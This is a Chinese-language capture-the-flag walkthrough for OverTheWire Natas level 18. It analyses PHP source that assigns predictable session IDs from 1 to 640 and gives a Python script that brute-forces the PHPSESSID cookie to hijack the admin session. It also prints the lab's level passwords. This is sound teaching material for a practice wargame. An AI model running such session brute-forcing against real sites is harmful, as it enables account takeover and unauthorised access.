Overthewire level 18 to level 19
这题的界面上让我们输入用户名和密码,随便输入一些字符后给了个普通用户的回显
You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.
显然,这是让我们想办法成为admin用户了。先看看网页的源码。
function createID($user) {
global $maxid; //maxid=640
return rand(1, $maxid);
}
function isValidAdminLogin() {
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
function my_session_start() {
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
通过分析网页的源码,找到了三个关键的函数
- createID() 用于生成用户的id,[1,640]范围内的一个整数
- isValidAdminLogin() 用来判断用户是否是admin,但是return 1的代码被注释掉了,也就是说无论用户是否是用admin的账号登录都会被视为是普通用户
- my_session_start() 执行一次登录操作
- print_credentials() 打印一些东西
最后看下网页的逻辑
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
网页通过$_SESSION["admin"] = isValidAdminLogin()
来判断是否是admin用户,但是这个函数返回一定是false,因此这题中能让系统判定我们是admin的方法就是修改cookie.
由前面生成id的函数可以判断出admin的id也在[1,640]范围内,因此我们只需要写一个脚本来在穷举一下所有的值即可, 代码如下
import requests
target = 'http://natas18.natas.labs.overthewire.org/index.php'
for i in range(1, 641):
cookies = {'PHPSESSID': str(i)}
resp = requests.post(target,
auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'),
cookies=cookies)
print(f"tried {i}")
if 'next level' in resp.text:
print(resp.text)
break
代码执行结果如下
tried 1
tried 2
...
tried 119
...
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
第19关的密码为4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs